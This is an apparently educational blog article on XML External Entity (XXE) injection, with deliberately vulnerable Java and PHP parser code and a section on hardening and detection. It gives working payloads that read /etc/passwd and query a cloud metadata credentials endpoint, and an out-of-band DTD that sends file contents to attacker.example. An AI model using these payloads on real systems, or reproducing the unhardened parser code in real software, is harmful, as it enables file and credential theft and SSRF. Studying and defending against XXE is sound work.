Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
XML External Entity (XXE) injection abuses a feature of XML itself: the Document Type Definition (DTD) can declare custom entities — named placeholders that the parser substitutes with other content before the document is processed. One entity type, the external entity, tells the parser to fetch its replacement content from a URI — a local file path, an internal HTTP endpoint, or an attacker-controlled server — and inline the result into the parsed document. If an application parses XML from an untrusted source with external entity resolution enabled, an attacker can define an entity that points at /etc/passwd, a cloud metadata endpoint, or an internal-only service, and have the parser read it on their behalf.
XXE is a parser-configuration bug more than an application-logic bug, which is what makes it so widespread: any code path that parses attacker-influenced XML — API bodies, SOAP requests, SAML assertions, file uploads (DOCX, XLSX, SVG, and other Office/OpenDocument/vector formats are all zipped XML), RSS/Atom ingestion — is a potential entry point, and most XML libraries shipped external entity processing *enabled by default* for years. Impact ranges from local file disclosure and internal port scanning through Server-Side Request Forgery (SSRF), to denial of service via entity expansion (“billion laughs”), and in less common configurations, remote code execution.
Attack Prerequisites
XXE requires an XML parser to be reachable with attacker-influenced input and misconfigured to resolve external entities:
- An endpoint that parses XML supplied or influenced by the attacker — a
Content-Type: application/xmlortext/xmlAPI body, a SOAP endpoint, a SAML SSO assertion consumer, or a file-upload handler for any XML-based format (SVG, DOCX/XLSX/PPTX, KML, GPX, RSS). - A parser/library with DTD processing and external entity resolution enabled — the historical default for many XML libraries (Java’s
DocumentBuilderFactory, PHP’slibxmlbefore hardened defaults, .NET’s olderXmlDocumentsettings, Python’slxml/xml.etreedepending on version and configuration). - For blind/OOB variants: outbound network access from the parsing server (even just DNS resolution) to reach an attacker-controlled listener, since the parser will need to fetch the attacker’s external DTD or entity target.
How It Works
XML documents may optionally declare a DTD that defines the document’s grammar and can declare entities — reusable text macros referenced with &name; syntax. The DTD spec allows two entity content sources: internal (the replacement text is written directly in the DTD, e.g. <!ENTITY name "value">) and external, where the replacement is fetched from a SYSTEM identifier — a URI — at parse time: <!ENTITY name SYSTEM "file:///etc/passwd">. When the parser encounters &name; anywhere in the document body, it dereferences that URI, reads the content, and substitutes it in place, *before* the application ever sees the resulting data. Because this substitution happens inside the parser, it is invisible to any input validation the application performs on the (already-substituted) parsed values.
The SYSTEM identifier accepts any URI scheme the parser’s underlying resolver supports: file:// for local file reads, http:///https:// for SSRF against internal services (cloud metadata endpoints, internal admin panels, or the parsing server itself for port scanning via response timing/errors), and even php://filter chains or jar:/expect:// in specific runtime configurations for more exotic outcomes. A related primitive, parameter entities (%name;, only valid inside the DTD itself), enables out-of-band (OOB) / blind XXE — where the response does not directly reflect the entity’s content back to the attacker. The classic OOB technique loads a second, attacker-hosted external DTD via a parameter entity, which in turn defines an entity that concatenates a local file’s content into a URL and requests it from the attacker’s server, exfiltrating the data through the outbound request itself.
Two related failure modes deserve separate mention: the billion laughs / entity expansion attack, where nested internal entities multiply exponentially in memory during expansion (ten entities each referencing the previous ten levels balloons to billions of substitutions), causing memory exhaustion and denial of service purely from parsing; and XInclude, an alternative XML mechanism for pulling in external content that can achieve file disclosure even when DTDs are fully disabled but XInclude processing is left enabled.
Vulnerable Code / Configuration
Java: the single most common XXE root cause — a DocumentBuilderFactory instantiated with no hardening, which historically defaults to DTD processing and external entity resolution enabled.
// VULNERABLE: default factory settings resolve external entities
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream()); // untrusted XML body
// No dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",
// true) and no external-entity features disabled -> classic XXE sink.
JavaPHP: libxml before 8.0 defaulted LIBXML_NOENT/entity loading behavior in a way that made simplexml_load_string() and DOMDocument::loadXML() exploitable unless explicitly hardened; passing the loader flag explicitly is still a common vulnerable pattern seen in the wild:
<?php
// VULNERABLE: entity substitution explicitly enabled on untrusted input
$xml = simplexml_load_string($_POST['data'], 'SimpleXMLElement',
LIBXML_NOENT | LIBXML_DTDLOAD);
echo $xml->name;
// LIBXML_NOENT substitutes entities; LIBXML_DTDLOAD allows the DTD
// (and therefore external entity declarations) to load at all.
PHPWalkthrough / Exploitation
Classic in-band file disclosure: declare an external entity pointing at a local file, reference it in an element the response will echo back.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<userInfo>
<name>&xxe;</name>
</userInfo>
<!-- If the app echoes the <name> field back in its response,
/etc/passwd's contents come back with it. -->
XMLThe same primitive reaches internal services for SSRF — e.g. SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/" against a cloud metadata endpoint, in place of the file:// URI above.
Blind / out-of-band exfiltration when the response does not reflect parsed content: host a malicious external DTD, then reference it via a parameter entity so the target server fetches it and, in turn, sends the file content back to you embedded in an outbound request.
<!-- Hosted at https://attacker.example/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://attacker.example/collect?d=%file;'>">
%eval;
%exfil;
XML<!-- Sent to the target application -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://attacker.example/evil.dtd">
%xxe;
]>
<data>test</data>
<!-- Watch the attacker.example access log for the inbound GET
/collect?d=<contents of /etc/hostname> -->
XMLNote:
file://reads generally require the target to return the file content as *text* somewhere in the response (in-band). When nothing is reflected, don’t assume the app is safe — go straight to the out-of-band DTD technique above, since even a parser that never shows you the result will still make the outbound HTTP/DNS request that confirms the vulnerability and exfiltrates data via the request URL.
Opsec / Testing tip: Even when file disclosure or SSRF is blocked, a parser that still processes DTDs at all can usually be crashed with a billion-laughs payload (a handful of nested internal entities is enough to exhaust memory) — useful for confirming DTD processing is enabled when direct read/SSRF is not yielding results, but treat it as a DoS test and run it only against systems and environments you’re authorized to disrupt.
Detection and Defense
XXE is eliminated by disabling DTD and external-entity processing at the parser configuration level — this is a config fix, not a filtering problem, and should be the default posture for any XML parser handling untrusted input:
- Disable DTDs entirely where possible — for Java,
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)on the relevant factory (DocumentBuilderFactory,SAXParserFactory,XMLInputFactory); this alone blocks nearly all XXE variants including billion laughs. - If DTDs must be allowed, disable external entities specifically — disable
external-general-entitiesandexternal-parameter-entitiesfeatures, and disable XInclude processing separately. - PHP: avoid
LIBXML_NOENT; on libxml < 2.9 / PHP < 8.0 also calllibxml_disable_entity_loader(true)(removed as a no-op in newer PHP since it became the secure default). - Python lxml: construct parsers with
resolve_entities=Falseandno_network=True; preferdefusedxmlas a drop-in-safe wrapper aroundxml.etree,lxml, and other stdlib XML modules. - .NET: use
XmlReaderSettingswithDtdProcessing.Prohibit(the modern default since .NET Framework 4.5.2+, but verify on legacy code). - Prefer data formats without this attack surface — JSON has no equivalent entity mechanism; where XML is mandatory, apply strict schema validation and treat every parser as needing explicit hardening rather than trusting library defaults.
- Network egress controls limit blind/OOB and SSRF impact even if a parser is misconfigured, and WAF/IDS signatures for
<!DOCTYPE/<!ENTITYin request bodies catch unsophisticated attempts.
Real-World Impact
XXE has been the root cause of numerous file-disclosure and SSRF findings across widely used products and frameworks over the years, and its prevalence pushed it into its own OWASP Top 10 category (A4:2017-XML External Entities) before being folded into the broader Injection category in 2021. It remains a routine finding in SOAP-based enterprise integrations, SAML single sign-on implementations (where a malicious assertion can trigger XXE during signature validation), and office-document processing pipelines, precisely because so many XML libraries shipped insecure-by-default configurations for years and legacy code frequently never revisits parser setup after the defaults changed.
Conclusion
XXE persists because XML’s DTD mechanism was designed for a trusted-document world and quietly carries a file-read and SSRF primitive into any application that parses attacker-influenced XML without disabling it. The fix is narrow and mechanical — turn off DTDs and external entity resolution at the parser level, prefer formats without this surface where possible, and audit every XML entry point (APIs, SSO, uploads, XML-based file formats) rather than assuming a library’s default configuration is already safe.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments